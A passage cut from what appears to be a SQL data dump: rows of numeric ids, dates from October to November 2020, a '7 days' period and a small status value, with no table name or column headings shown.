days',0),(31854,14904,6348,7596,1394,86,'2020-10-14','7 days',0),(31855,14908,6347,7595,203,86,'2020-10-14','7 days',0),(31856,14907,6347,7595,203,86,'2020-10-14','7 days',0),(31857,14910,6348,7596,1394,86,'2020-10-14','7 days',0),(31858,14911,6346,7594,1393,86,'2020-10-14','7 days',0),(31859,14912,6346,7594,1393,86,'2020-10-14','7 days',0),(31860,14913,6346,7594,1393,86,'2020-10-14','7 days',0),(31861,10805,6346,7594,1393,86,'2020-10-14','7 days',0),(31862,5753,6346,7594,1393,86,'2020-10-14','7 days',0),(31863,5743,6346,7594,1393,86,'2020-10-14','7 days',1),(31941,14805,6390,7644,1370,667,'2020-10-15','7 days',1),(31942,14766,6390,7644,1370,667,'2020-10-15','7 days',0),(31943,11354,6390,7644,1370,667,'2020-10-15','7 days',0),(31955,9159,6227,7474,1245,91,'2020-10-15','7 days',1),(31956,9155,6227,7474,1245,91,'2020-10-15','7 days',1),(31957,7213,6227,7474,1245,91,'2020-10-15','7 days',1),(31958,7212,6227,7474,1245,91,'2020-10-15','7 days',1),(31959,9154,6229,7476,1452,91,'2020-10-15','7 days',1),(31960,9135,6229,7476,1452,91,'2020-10-15','7 days',1),(31961,9134,6229,7476,1452,91,'2020-10-15','7 days',1),(31962,9133,6229,7476,1452,91,'2020-10-15','7 days',1),(31963,14888,6165,7399,1452,91,'2020-10-15','7 days',0),(31964,14887,6165,7399,1452,91,'2020-10-15','7 days',0),(31965,14879,6165,7399,1452,91,'2020-10-15','7 days',0),(31966,14878,6165,7399,1452,91,'2020-10-15','7 days',0),(31967,14877,6165,7399,1452,91,'2020-10-15','7 days',0),(31968,9157,6043,7277,1011,91,'2020-10-15','7 days',0),(31969,7019,6043,7277,1011,91,'2020-10-15','7 days',0),(31970,7308,6085,7327,1245,91,'2020-10-15','7 days',0),(31971,7307,6085,7327,1245,91,'2020-10-15','7 days',2),(31972,7306,6085,7327,1245,91,'2020-10-15','7 days',0),(31973,7305,6085,7327,1245,91,'2020-10-15','7 days',0),(31974,7143,6139,7374,1245,91,'2020-10-15','7 days',0),(31975,7142,6139,7374,1245,91,'2020-10-15','7 days',0),(31976,7140,6139,7374,1245,91,'2020-10-15','7 days',0),(31977,7138,6139,7374,1245,91,'2020-10-15','7 days',0),(31978,7137,6139,7374,1245,91,'2020-10-15','7 days',1),(32088,14584,6408,7667,1251,86,'2020-10-17','7 days',0),(32089,14583,6408,7667,1251,86,'2020-10-17','7 days',1),(32090,14582,6408,7667,1251,86,'2020-10-17','7 days',0),(32091,14581,6408,7667,1251,86,'2020-10-17','7 days',0),(32092,13105,6408,7667,1251,86,'2020-10-17','7 days',0),(32093,13104,6408,7667,1251,86,'2020-10-17','7 days',0),(32094,13103,6408,7667,1251,86,'2020-10-17','7 days',2),(32095,13102,6408,7667,1251,86,'2020-10-17','7 days',0),(32096,13000,6408,7667,1251,86,'2020-10-17','7 days',0),(32097,12999,6408,7667,1251,86,'2020-10-17','7 days',0),(32098,12765,6408,7667,1251,86,'2020-10-17','7 days',1),(32099,12763,6408,7667,1251,86,'2020-10-17','7 days',1),(32100,9613,6408,7667,1251,86,'2020-10-17','7 days',0),(32126,14617,6153,7386,1394,86,'2020-10-19','7 days',0),(32127,14446,6153,7386,1394,86,'2020-10-19','7 days',0),(32128,12770,6153,7386,1394,86,'2020-10-19','7 days',0),(32129,5729,6153,7386,1394,86,'2020-10-19','7 days',0),(32130,1127,6153,7386,1394,86,'2020-10-19','7 days',2),(32159,10251,6419,7679,1324,959,'2020-10-19','7 days',1),(32160,10212,6419,7679,1324,959,'2020-10-19','7 days',1),(32161,10211,6419,7679,1324,959,'2020-10-19','7 days',0),(32162,14071,6419,7679,1324,959,'2020-10-19','7 days',1),(32163,10393,6419,7679,1324,959,'2020-10-19','7 days',1),(32164,13914,6419,7679,1324,959,'2020-10-19','7 days',0),(32165,14767,6390,7644,1370,667,'2020-10-19','7 days',0),(32166,14765,6390,7644,1370,667,'2020-10-19','7 days',1),(32167,14764,6390,7644,1370,667,'2020-10-19','7 days',2),(32168,11359,6390,7644,1370,667,'2020-10-19','7 days',0),(32169,11357,6390,7644,1370,667,'2020-10-19','7 days',0),(32170,11356,6390,7644,1370,667,'2020-10-19','7 days',0),(32171,11355,6390,7644,1370,667,'2020-10-19','7 days',1),(32172,11352,6390,7644,1370,667,'2020-10-19','7 days',0),(32173,11351,6390,7644,1370,667,'2020-10-19','7 days',1),(32207,14909,6217,7463,1394,86,'2020-10-20','7 days',1),(32208,14443,6217,7463,1394,86,'2020-10-20','7 days',0),(32209,13097,6217,7463,1394,86,'2020-10-20','7 days',0),(32210,13096,6217,7463,1394,86,'2020-10-20','7 days',0),(32242,14994,6217,7463,1394,86,'2020-10-20','7 days',1),(32349,14912,6347,7595,203,86,'2020-10-21','7 days',0),(32350,14903,6347,7595,203,86,'2020-10-21','7 days',0),(32351,14902,6347,7595,203,86,'2020-10-21','7 days',0),(32352,13886,6347,7595,203,86,'2020-10-21','7 days',1),(32353,13885,6347,7595,203,86,'2020-10-21','7 days',0),(32354,13883,6347,7595,203,86,'2020-10-21','7 days',0),(32355,15014,6347,7595,203,86,'2020-10-21','7 days',0),(32356,6243,6346,7594,1393,86,'2020-10-21','7 days',2),(32357,6241,6346,7594,1393,86,'2020-10-21','7 days',0),(32358,10807,6346,7594,1393,86,'2020-10-21','7 days',0),(32359,10806,6346,7594,1393,86,'2020-10-21','7 days',1),(32360,5754,6346,7594,1393,86,'2020-10-21','7 days',0),(32361,5751,6346,7594,1393,86,'2020-10-21','7 days',0),(32362,5749,6346,7594,1393,86,'2020-10-21','7 days',0),(32363,5747,6346,7594,1393,86,'2020-10-21','7 days',0),(32364,5745,6346,7594,1393,86,'2020-10-21','7 days',0),(32365,5741,6346,7594,1393,86,'2020-10-21','7 days',1),(32366,5739,6346,7594,1393,86,'2020-10-21','7 days',0),(32374,7287,6227,7474,1245,91,'2020-10-21','7 days',1),(32375,7286,6227,7474,1245,91,'2020-10-21','7 days',1),(32376,14889,6165,7399,1452,91,'2020-10-21','7 days',0),(32377,14881,6165,7399,1452,91,'2020-10-21','7 days',2),(32378,14880,6165,7399,1452,91,'2020-10-21','7 days',0),(32379,7308,6043,7277,1011,91,'2020-10-21','7 days',2),(32380,7307,6043,7277,1011,91,'2020-10-21','7 days',0),(32381,7306,6043,7277,1011,91,'2020-10-21','7 days',0),(32382,7305,6043,7277,1011,91,'2020-10-21','7 days',0),(32383,7142,6043,7277,1011,91,'2020-10-21','7 days',0),(32384,14534,6440,7707,194,45,'2020-10-21','7 days',1),(32386,14831,6318,7515,160,73,'2020-10-22','7 days',1),(32387,14832,6318,7515,160,73,'2020-10-22','7 days',1),(32388,14833,6318,7515,160,73,'2020-10-22','7 days',0),(32389,14834,6318,7515,160,73,'2020-10-22','7 days',0),(32390,13225,6350,7598,160,73,'2020-10-22','7 days',1),(32391,12979,6350,7598,160,73,'2020-10-22','7 days',2),(32392,11876,6350,7598,160,73,'2020-10-22','7 days',2),(32393,11589,6350,7598,160,73,'2020-10-22','7 days',1),(32394,8781,6350,7598,160,73,'2020-10-22','7 days',0),(32395,640,6375,7618,160,73,'2020-10-22','7 days',2),(32396,639,6375,7618,160,73,'2020-10-22','7 days',0),(32397,637,6375,7618,160,73,'2020-10-22','7 days',0),(32398,636,6375,7618,160,73,'2020-10-22','7 days',0),(32399,629,6375,7618,160,73,'2020-10-22','7 days',0),(32489,14051,6445,7712,1067,326,'2020-10-23','7 days',1),(32490,12897,6445,7712,1067,326,'2020-10-23','7 days',2),(32491,12875,6445,7712,1067,326,'2020-10-23','7 days',1),(32492,9805,6445,7712,1067,326,'2020-10-23','7 days',0),(32493,9803,6445,7712,1067,326,'2020-10-23','7 days',0),(32494,9802,6445,7712,1067,326,'2020-10-23','7 days',0),(32495,9801,6445,7712,1067,326,'2020-10-23','7 days',0),(32496,9800,6445,7712,1067,326,'2020-10-23','7 days',0),(32497,9798,6445,7712,1067,326,'2020-10-23','7 days',0),(32608,12971,6389,7643,1235,277,'2020-10-24','7 days',0),(32609,12022,6389,7643,1235,277,'2020-10-24','7 days',1),(32610,9906,6389,7643,1235,277,'2020-10-24','7 days',0),(32611,9902,6389,7643,1235,277,'2020-10-24','7 days',1),(32612,9897,6389,7643,1235,277,'2020-10-24','7 days',1),(32613,14828,6390,7644,1370,667,'2020-10-24','7 days',0),(32614,14827,6390,7644,1370,667,'2020-10-24','7 days',0),(32615,14826,6390,7644,1370,667,'2020-10-24','7 days',0),(32616,14825,6390,7644,1370,667,'2020-10-24','7 days',2),(32617,14771,6390,7644,1370,667,'2020-10-24','7 days',0),(32618,14770,6390,7644,1370,667,'2020-10-24','7 days',0),(32619,14769,6390,7644,1370,667,'2020-10-24','7 days',0),(32620,14768,6390,7644,1370,667,'2020-10-24','7 days',0),(32624,12532,6460,7727,194,45,'2020-10-26','7 days',1),(32625,12532,6463,7732,194,45,'2020-10-26','7 days',1),(32920,15181,6390,7644,1370,667,'2020-10-29','7 days',2),(32921,15180,6390,7644,1370,667,'2020-10-29','7 days',0),(32922,15179,6390,7644,1370,667,'2020-10-29','7 days',0),(32923,15178,6390,7644,1370,667,'2020-10-29','7 days',0),(32924,15177,6390,7644,1370,667,'2020-10-29','7 days',0),(32925,15176,6390,7644,1370,667,'2020-10-29','7 days',2),(32973,15187,6390,7644,1370,667,'2020-10-30','7 days',0),(32974,15186,6390,7644,1370,667,'2020-10-30','7 days',1),(32975,15185,6390,7644,1370,667,'2020-10-30','7 days',0),(32976,15184,6390,7644,1370,667,'2020-10-30','7 days',0),(32977,15183,6390,7644,1370,667,'2020-10-30','7 days',1),(32978,15182,6390,7644,1370,667,'2020-10-30','7 days',1),(32982,13180,6457,7724,1410,975,'2020-10-30','7 days',1),(32983,12972,6457,7724,1410,975,'2020-10-30','7 days',1),(32984,13180,6443,7710,1410,975,'2020-10-30','7 days',1),(32985,12972,6443,7710,1410,975,'2020-10-30','7 days',1),(32986,13180,6429,7691,1410,975,'2020-10-30','7 days',1),(32987,12972,6429,7691,1410,975,'2020-10-30','7 days',1),(32988,13180,6424,7685,1410,975,'2020-10-30','7 days',1),(32989,12972,6424,7685,1410,975,'2020-10-30','7 days',1),(32990,13180,6420,7680,1410,975,'2020-10-30','7 days',1),(32991,12972,6420,7680,1410,975,'2020-10-30','7 days',1),(33040,11360,6390,7644,1370,667,'2020-10-31','7 days',0),(33041,11358,6390,7644,1370,667,'2020-10-31','7 days',0),(33042,14829,6390,7644,1370,667,'2020-10-31','7 days',0),(33043,14810,6390,7644,1370,667,'2020-10-31','7 days',0),(33044,14809,6390,7644,1370,667,'2020-10-31','7 days',2),(33045,14808,6390,7644,1370,667,'2020-10-31','7 days',0),(33046,14807,6390,7644,1370,667,'2020-10-31','7 days',0),(33047,14806,6390,7644,1370,667,'2020-10-31','7 days',0),(33049,8784,6502,7770,160,73,'2020-11-01','7 days',1),(33050,8783,6502,7770,160,73,'2020-11-01','7 days',0),(33051,656,6502,7770,160,73,'2020-11-01','7 days',0),(33052,653,6502,7770,160,73,'2020-11-01','7 days',1),(33054,9715,6086,7316,1251,86,'2020-11-02','7 days',0),(33055,9714,6086,7316,1251,86,'2020-11-02','7 days',0),(33056,9713,6086,7316,1251,86,'2020-11-02','7 days',0),(33057,9712,6086,7316,1251,86,'2020-11-02','7 days',0),(33058,9711,6086,7316,1251,86,'2020-11-02','7 days',0),(33059,9710,6086,7316,1251,86,'2020-11-02','7 days',0),(33060,9668,6086,7316,1251,86,'2020-11-02','7 days',0),(33061,9667,6086,7316,1251,86,'2020-11-02','7 days',2),(33062,14584,6153,7386,1394,86,'2020-11-02','7 days',0),(33063,12999,6153,7386,1394,86,'2020-11-02','7 days',0),(33064,12998,6153,7386,1394,86,'2020-11-02','7 days',0),(33065,12829,6153,7386,1394,86,'2020-11-02','7 days',0),(33077,10287,6368,7618,161,73,'2020-11-02','7 days',0),(33078,8784,6368,7618,161,73,'2020-11-02','7 days',1),(33079,8783,6368,7618,161,73,'2020-11-02','7 days',0),(33080,656,6368,7618,161,73,'2020-11-02','7 days',0),(33081,653,6368,7618,161,73,'2020-11-02','7 days',0),(33082,8784,6428,7689,161,73,'2020-11-02','7 days',1),(33083,8783,6428,7689,161,73,'2020-11-02','7 days',0),(33084,656,6428,7689,161,73,'2020-11-02','7 days',0),(33085,653,6428,7689,161,73,'2020-11-02','7 days',2),(33087,647,6506,7775,162,73,'2020-11-02','7 days',0),(33088,642,6506,7775,162,73,'2020-11-02','7 days',0),(33089,640,6506,7775,162,73,'2020-11-02','7 days',2),(33090,639,6506,7775,162,73,'2020-11-02','7 days',0),(33091,637,6506,7775,162,73,'2020-11-02','7 days',0),(33092,636,6506,7775,162,73,'2020-11-02','7 days',0),(33093,629,6506,7775,162,73,'2020-11-02','7 days',0),(33094,14534,6557,7815,194,45,'2020-11-02','7 days',1),(33198,13720,6572,7831,1408,86,'2020-11-04','7 days',0),(33199,13099,6572,7831,1408,86,'2020-11-04','7 days',1),(33200,13085,6572,7831,1408,86,'2020-11-04','7 days',0),(33201,13009,6572,7831,1408,86,'2020-11-04','7 days',2),(33202,13008,6572,7831,1408,86,'2020-11-04','7 days',1),(33203,13007,6572,7831,1408,86,'2020-11-04','7 days',0),(33204,13006,6572,7831,1408,86,'2020-11-04','7 days',0),(33205,13005,6572,7831,1408,86,'2020-11-04','7 days',0),(33206,13004,6572,7831,1408,86,'2020-11-04','7 days',0),(33207,12788,6572,7831,1408,86,'2020-11-04','7 days',0),(33208,12787,6572,7831,1408,86,'2020-11-04','7 days',2),(33209,12786,6572,7831,1408,86,'2020-11-04','7 days',0),(33210,12785,6572,7831,1408,86,'2020-11-04','7 days',0),(33211,12784,6572,7831,1408,86,'2020-11-04','7 days',0),(33212,12783,6572,7831,1408,86,'2020-11-04','7 days',0),(33213,10962,6153,7386,1394,86,'2020-11-04','7 days',1),(33214,10685,6086,7316,1251,86,'2020-11-04','7 days',1),(33215,10684,6086,7316,1251,86,'2020-11-04','7 days',1),(33252,12230,6518,7783,221,85,'2020-11-05','7 days',0),(33253,12229,6518,7783,221,85,'2020-11-05','7 days',0),(33254,12228,6518,7783,221,85,'2020-11-05','7 days',0),(33255,12227,6518,7783,221,85,'2020-11-05','7 days',0),(33256,12226,6518,7783,221,85,'2020-11-05','7 days',0),(33257,12225,6518,7783,221,85,'2020-11-05','7 days',0),(33258,12224,6518,7783,221,85,'2020-11-05','7 days',0),(33259,12172,6518,7783,221,85,'2020-11-05','7 days',0),(33260,12171,6518,7783,221,85,'2020-11-05','7 days',0),(33261,12170,6518,7783,221,85,'2020-11-05','7 days',0),(33262,12169,6518,7783,221,85,'2020-11-05','7 days',0),(33263,12168,6518,7783,221,85,'2020-11-05','7 days',0),(33264,12167,6518,7783,221,85,'2020-11-05','7 days',2),(33265,12166,6518,7783,221,85,'2020-11-05','7 days',0),(33266,12165,6518,7783,221,85,'2020-11-05','7 days',0),(33267,12164,6518,7783,221,85,'2020-11-05','7 days',0),(33268,12163,6518,7783,221,85,'2020-11-05','7 days',0),(33269,12162,6518,7783,221,85,'2020-11-05','7 days',0),(33270,12161,6518,7783,221,85,'2020-11-05','7 days',0),(33271,12160,6518,7783,221,85,'2020-11-05','7 days',0),(33272,12159,6518,7783,221,85,'2020-11-05','7 days',0),(33273,12158,6518,7783,221,85,'2020-11-05','7 days',0),(33274,12157,6518,7783,221,85,'2020-11-05','7 days',0),(33275,12156,6518,7783,221,85,'2020-11-05','7 days',1),(33276,12155,6518,7783,221,85,'2020-11-05','7 days',0),(33277,12154,6518,7783,221,85,'2020-11-05','7 days',1),(33278,15222,6518,7783,221,85,'2020-11-05','7 days',1),(33279,15221,6518,7783,221,85,'2020-11-05','7 days',0),(33280,15220,6518,7783,221,85,'2020-11-05','7 days',0),(33281,15219,6518,7783,221,85,'2020-11-05','7 days',0),(33282,15218,6518,7783,221,85,'2020-11-05','7 days',2),(33283,10892,6237,7485,222,85,'2020-11-05','7 days',0),(33284,10891,6237,7485,222,85,'2020-11-05','7 days',0),(33285,10890,6237,7485,222,85,'2020-11-05','7 days',0),(33286,10889,6237,7485,222,85,'2020-11-05','7 days',1),(33287,10888,6237,7485,222,85,'2020-11-05','7 days',0),(33288,10887,6237,7485,222,85,'2020-11-05','7 days',2),(33289,10886,6237,7485,222,85,'2020-11-05','7 days',0),(33290,10885,6237,7485,222,85,'2020-11-05','7 days',0),(33291,10858,6237,7485,222,85,'2020-11-05','7 days',0),(33292,10857,6237,7485,222,85,'2020-11-05','7 days',0),(33295,10884,6237,7485,222,85,'2020-11-05','7 days',0),(33296,10876,6237,7485,222,85,'2020-11-05','7 days',0),(33431,14051,6584,7841,1067,326,'2020-11-06','7 days',0),(33432,12897,6584,7841,1067,326,'2020-11-06','7 days',2),(33433,12875,6584,7841,1067,326,'2020-11-06','7 days',1),(33434,9805,6584,7841,1067,326,'2020-11-06','7 days',0),(33435,9803,6584,7841,1067,326,'2020-11-06','7 days',0),(33436,9802,6584,7841,1067,326,'2020-11-06','7 days',0),(33437,9801,6584,7841,1067,326,'2020-11-06','7 days',0),(33438,9800,6584,7841,1067,326,'2020-11-06','7 days',0),(33439,9798,6584,7841,1067,326,'2020-11-06','7 days',0),(33440,15233,6584,7841,1067,326,'2020-11-06','7 days',0),(33441,15234,6584,7841,1067,326,'2020-11-06','7 days',0),(33442,15235,6584,7841,1067,326,'2020-11-06','7 days',0),(33444,9009,6580,7837,160,73,'2020-11-07','7 days',0),(33445,9008,6580,7837,160,73,'2020-11-07','7 days',0),(33446,665,6580,7837,160,73,'2020-11-07','7 days',0),(33447,662,6580,7837,160,73,'2020-11-07','7 days',0),(33448,633,6580,7837,160,73,'2020-11-07','7 days',2),(33512,12299,6572,7831,1408,86,'2020-11-09','7 days',2),(33513,13672,6572,7831,1408,86,'2020-11-09','7 days',0),(33514,9002,6572,7831,1408,86,'2020-11-09','7 days',1),(33515,9000,6572,7831,1408,86,'2020-11-09','7 days',1),(33563,7304,6227,7474,1245,91,'2020-11-10','7 days',0),(33564,7303,6227,7474,1245,91,'2020-11-10','7 days',2),(33565,7147,6227,7474,1245,91,'2020-11-10','7 days',0),(33566,9135,6165,7399,1452,91,'2020-11-10','7 days',1),(33567,9134,6165,7399,1452,91,'2020-11-10','7 days',1),(33568,9133,6165,7399,1452,91,'2020-11-10','7 days',1),(33569,7286,6165,7399,1452,91,'2020-11-10','7 days',1),(33570,12264,6139,7374,1245,91,'2020-11-10','7 days',1),(33571,12263,6139,7374,1245,91,'2020-11-10','7 days',1),(33572,9154,6085,7327,1245,91,'2020-11-10','7 days',1),(33573,9135,6085,7327,1245,91,'2020-11-10','7 days',1),(33574,14887,6043,7277,1011,91,'2020-11-10','7 days',0),(33575,14886,6043,7277,1011,91,'2020-11-10','7 days',0),(33576,14885,6043,7277,1011,91,'2020-11-10','7 days',0),(33577,14884,6043,7277,1011,91,'2020-11-10','7 days',0),(33578,14883,6043,7277,1011,91,'2020-11-10','7 days',0),(33587,10008,6191,7435,357,251,'2020-11-11','7 days',1),(33588,10007,6191,7435,357,251,'2020-11-11','7 days',0),(33589,10006,6191,7435,357,251,'2020-11-11','7 days',0),(33590,9919,6549,4286,358,251,'2020-11-11','7 days',0),(33591,9917,6549,4286,358,251,'2020-11-11','7 days',0),(33592,9916,6549,4286,358,251,'2020-11-11','7 days',0),(33593,9916,6466,7735,359,251,'2020-11-11','7 days',0),(33594,9915,6466,7735,359,251,'2020-11-11','7 days',2),(33595,9914,6466,7735,359,251,'2020-11-11','7 days',0),(33596,9110,6351,7599,358,251,'2020-11-11','7 days',0),(33597,9109,6351,7599,358,251,'2020-11-11','7 days',0),(33598,9108,6351,7599,358,251,'2020-11-11','7 days',1),(33599,9033,6540,7802,357,251,'2020-11-11','7 days',0),(33600,9032,6540,7802,357,251,'2020-11-11','7 days',0),(33601,9030,6540,7802,357,251,'2020-11-11','7 days',0),(33602,5404,6239,7487,358,251,'2020-11-11','7 days',0),(33603,4275,6239,7487,358,251,'2020-11-11','7 days',0),(33604,9054,6069,7300,358,251,'2020-11-11','7 days',1),(33605,9053,6069,7300,358,251,'2020-11-11','7 days',0),(33606,9052,6069,7300,358,251,'2020-11-11','7 days',0),(33631,12739,5760,6331,1406,971,'2020-11-12','7 days',0),(33632,11698,5760,6331,1406,971,'2020-11-12','7 days',0),(33633,11456,5760,6331,1406,971,'2020-11-12','7 days',0),(33634,11126,5760,6331,1406,971,'2020-11-12','7 days',1),(33635,10978,5760,6331,1406,971,'2020-11-12','7 days',1),(33636,10967,5760,6331,1406,971,'2020-11-12','7 days',1),(33637,10966,5760,6331,1406,971,'2020-11-12','7 days',1),(33638,10965,5760,6331,1406,971,'2020-11-12','7 days',0),(33639,10964,5760,6331,1406,971,'2020-11-12','7 days',0),(33640,10963,5760,6331,1406,971,'2020-11-12','7 days',0),(33641,12739,6216,7462,1342,971,'2020-11-12','7 days',0),(33642,11698,6216,7462,1342,971,'2020-11-12','7 days',0),(33643,11456,6216,7462,1342,971,'2020-11-12','7 days',0),(33644,11126,6216,7462,1342,971,'2020-11-12','7 days',1),(33645,10978,6216,7462,1342,971,'2020-11-12','7 days',1),(33646,10967,6216,7462,1342,971,'2020-11-12','7 days',1),(33647,10966,6216,7462,1342,971,'2020-11-12','7 days',1),(33648,10965,6216,7462,1342,971,'2020-11-12','7 days',0),(33649,10964,6216,7462,1342,971,'2020-11-12','7 days',0),(33650,10963,6216,7462,1342,971,'2020-11-12','7 days',0),(33684,9014,6564,7823,161,73,'2020-11-12','7 days',1),(33685,9013,6564,7823,161,73,'2020-11-12','7 days',0),(33686,8786,6564,7823,161,73,'2020-11-12','7 days',0),(33687,668,6564,7823,161,73,'2020-11-12','7 days',2),(33688,655,6564,7823,161,73,'2020-11-12','7 days',0),(33689,632,6564,7823,161,73,'2020-11-12','7 days',0),(33691,9797,6630,4560,1067,326,'2020-11-12','7 days',0),(33692,9796,6630,4560,1067,326,'2020-11-12','7 days',0),(33693,9795,6630,4560,1067,326,'2020-11-12','7 days',0),(33694,9720,6630,4560,1067,326,'2020-11-12','7 days',1),(33695,9719,6630,4560,1067,326,'2020-11-12','7 days',0),(33696,7421,6630,4560,1067,326,'2020-11-12','7 days',0),(33697,7420,6630,4560,1067,326,'2020-11-12','7 days',1),(33698,7419,6630,4560,1067,326,'2020-11-12','7 days',0),(33699,7418,6630,4560,1067,326,'2020-11-12','7 days',0),(33700,7417,6630,4560,1067,326,'2020-11-12','7 days',0),(33701,7416,6630,4560,1067,326,'2020-11-12','7 days',1),(33702,7415,6630,4560,1067,326,'2020-11-12','7 days',1),(33711,11689,6440,7707,194,45,'2020-11-12','7 days',1),(33758,11689,6463,7732,194,45,'2020-11-12','7 days',1),(33763,11689,6358,7606,194,45,'2020-11-12','7 days',1),(33766,11689,6305,7547,194,45,'2020-11-12','7 days',1),(33770,13225,6096,7336,161,73,'2020-11-12','7 days',1),(33778,9012,6617,7873,160,73,'2020-11-12','7 days',0),(33779,9010,6617,7873,160,73,'2020-11-12','7 days',0),(33780,8785,6617,7873,160,73,'2020-11-12','7 days',0),(33781,8782,6617,7873,160,73,'2020-11-12','7 days',1),(33782,652,6617,7873,160,73,'2020-11-12','7 days',0),(33851,12739,5902,7124,1406,971,'2020-11-14','7 days',0),(33852,11698,5902,7124,1406,971,'2020-11-14','7 days',0),(33853,11456,5902,7124,1406,971,'2020-11-14','7 days',0),(33854,11126,5902,7124,1406,971,'2020-11-14','7 days',1),(33855,10978,5902,7124,1406,971,'2020-11-14','7 days',1),(33856,10967,5902,7124,1406,971,'2020-11-14','7 days',1),(33857,10966,5902,7124,1406,971,'2020-11-14','7 days',1),(33858,10965,5902,7124,1406,971,'2020-11-14','7 days',0),(33859,10964,5902,7124,1406,971,'2020-11-14','7 days',0),(33860,10963,5902,7124,1406,971,'2020-11-14','7 days',2),(33876,11689,6663,7921,194,45,'2020-11-16','7 days',1),(33877,11689,6660,7755,194,45,'2020-11-16','7 days',1),(33925,10251,6683,7939,1367,959,'2020-11-17','7 days',1),(33926,10212,6683,7939,1367,959,'2020-11-17','7 days',1),(33927,10211,6683,7939,1367,959,'2020-11-17','7 days',0),(33928,10393,6683,7939,1367,959,'2020-11-17','7 days',1),(33966,12273,6227,7474,1245,91,'2020-11-17','7 days',1),(33967,12264,6227,7474,1245,91,'2020-11-17','7 days',1),(33968,12263,6227,7474,1245,91,'2020-11-17','7 days',1),(33969,9154,6165,7399,1452,91,'2020-11-17','7 days',1),(33970,7287,6165,7399,1452,91,'2020-11-17','7 days',1),(33973,9154,6139,7374,1245,91,'2020-11-17','7 days',1),(33974,9135,6139,7374,1245,91,'2020-11-17','7 days',1),(33975,7207,6043,7277,1011,91,'2020-11-17','7 days',2),(33976,7206,6043,7277,1011,91,'2020-11-17','7 days',0),(33977,7022,6085,7327,1245,91,'2020-11-17','7 days',0),(34001,11689,6681,7937,194,45,'2020-11-17','7 days',1),(34012,673,6591,7849,162,73,'2020-11-18','7 days',0),(34013,667,6591,7849,162,73,'2020-11-18','7 days',1),(34014,666,6591,7849,162,73,'2020-11-18','7 days',0),(34015,8784,6592,7849,161,73,'2020-11-18','7 days',1),(34016,8783,6592,7849,161,73,'2020-11-18','7 days',0),(34017,656,6592,7849,161,73,'2020-11-18','7 days',0),(34018,653,6592,7849,161,73,'2020-11-18','7 days',0),(34020,13225,6242,7490,161,73,'2020-11-18','7 days',1),(34094,15345,6689,7945,1408,86,'2020-11-18','7 days',0),(34095,15344,6689,7945,1408,86,'2020-11-18','7 days',0),(34096,15343,6689,7945,1408,86,'2020-11-18','7 days',0),(34097,15342,6689,7945,1408,86,'2020-11-18','7 days',0),(34098,15341,6689,7945,1408,86,'2020-11-18','7 days',0),(34099,15340,6689,7945,1408,86,'2020-11-18','7 days',1),(34100,12303,6572,7831,1408,86,'2020-11-18','7 days',0),(34101,11959,6572,7831,1408,86,'2020-11-18','7 days',2),(34102,11957,6572,7831,1408,86,'2020-11-18','7 days',0),(34103,11954,6572,7831,1408,86,'2020-11-18','7 days',1),(34104,11951,6572,7831,1408,86,'2020-11-18','7 days',0),(34105,11949,6572,7831,1408,86,'2020-11-18','7 days',2),(34106,15372,6572,7831,1408,86,'2020-11-18','7 days',2),(34107,15360,6572,7831,1408,86,'2020-11-18','7 days',2),(34108,15359,6572,7831,1408,86,'2020-11-18','7 days',0),(34109,15358,6572,7831,1408,86,'2020-11-18','7 days',0),(34110,15357,6572,7831,1408,86,'2020-11-18','7 days',0),(34111,15356,6572,7831,1408,86,'2020-11-18','7 days',2),(34112,15355,6572,7831,1408,86,'2020-11-18','7 days',0),(34113,15354,6572,7831,1408,86,'2020-11-18','7 days',0),(34114,15353,6572,7831,1408,86,'2020-11-18','7 days',2),(34218,12739,6538,7800,1406,971,'2020-11-20','7 days',0),(34219,11698,6538,7800,1406,971,'2020-11-20','7 days',0),(34220,11456,6538,7800,1406,971,'2020-11-20','7 days',0),(34221,11126,6538,7800,1406,971,'2020-11-20','7 days',1),(34222,10978,6538,7800,1406,971,'2020-11-20','7 days',1),(34223,10967,6538,7800,1406,971,'2020-11-20','7 days',1),(34224,10966,6538,7800,1406,971,'2020-11-20','7 days',1),(34225,10965,6538,7800,1406,971,'2020-11-20','7 days',0),(34226,10964,6538,7800,1406,971,'2020-11-20','7 days',0),(34227,10963,6538,7800,1406,971,'2020-11-20','7 days',0),(34229,15399,6695,7951,1456,667,'2020-11-20','7 days',0),(34230,15398,6695,7951,1456,667,'2020-11-20','7 days',1),(34231,15397,6695,7951,1456,667,'2020-11-20','7 days',1),(34232,15396,6695,7951,1456,667,'2020-11-20','7 days',0),(34273,11689,6700,7955,194,45,'2020-11-20','7 days',1),(34328,15423,6707,7962,1394,86,'2020-11-21','7 days',0),(34329,15422,6707,7962,1394,86,'2020-11-21','7 days',0),(34330,15421,6707,7962,1394,86,'2020-11-21','7 days',0),(34331,15420,6707,7962,1394,86,'2020-11-21','7 days',0),(34332,15419,6707,7962,1394,86,'2020-11-21','7 days',0),(34333,15418,6707,7962,1394,86,'2020-11-21','7 days',0),(34334,15417,6707,7962,1394,86,'2020-11-21','7 days',0),(34335,15416,6707,7962,1394,86,'2020-11-21','7 days',0),(34369,12739,6631,7887,1342,971,'2020-11-23','7 days',0),(34370,11698,6631,7887,1342,971,'2020-11-23','7 days',0),(34371,11456,6631,7887,1342,971,'2020-11-23','7 days',0),(34372,11126,6631,7887,1342,971,'2020-11-23','7 days',1),(34373,10978,6631,7887,1342,971,'2020-11-23','7 days',1),(34374,10967,6631,7887,1342,971,'2020-11-23','7 days',1),(34375,10966,6631,7887,1342,971,'2020-11-23','7 days',1),(34376,10965,6631,7887,1342,971,'2020-11-23','7 days',0),(34377,10964,6631,7887,1342,971,'2020-11-23','7 days',0),(34378,10963,6631,7887,1342,971,'2020-11-23','7 days',0),(34379,15424,6732,7985,1456,667,'2020-11-23','7 days',0),(34380,11357,6732,7985,1456,667,'2020-11-23','7 days',0),(34381,11356,6732,7985,1456,667,'2020-11-23','7 days',0),(34382,11355,6732,7985,1456,667,'2020-11-23','7 days',1),(34383,14805,6731,7985,1370,667,'2020-11-23','7 days',1),(34384,14766,6731,7985,1370,667,'2020-11-23','7 days',0),(34385,14765,6731,7985,1370,667,'2020-11-23','7 days',1),(34386,14764,6731,7985,1370,667,'2020-11-23','7 days',2),(34387,15184,6695,7951,1456,667,'2020-11-23','7 days',0),(34388,15183,6695,7951,1456,667,'2020-11-23','7 days',1),(34389,15182,6695,7951,1456,667,'2020-11-23','7 days',1),(34445,11360,6732,7985,1456,667,'2020-11-24','7 days',0),(34446,11354,6732,7985,1456,667,'2020-11-24','7 days',1),(34447,11352,6732,7985,1456,667,'2020-11-24','7 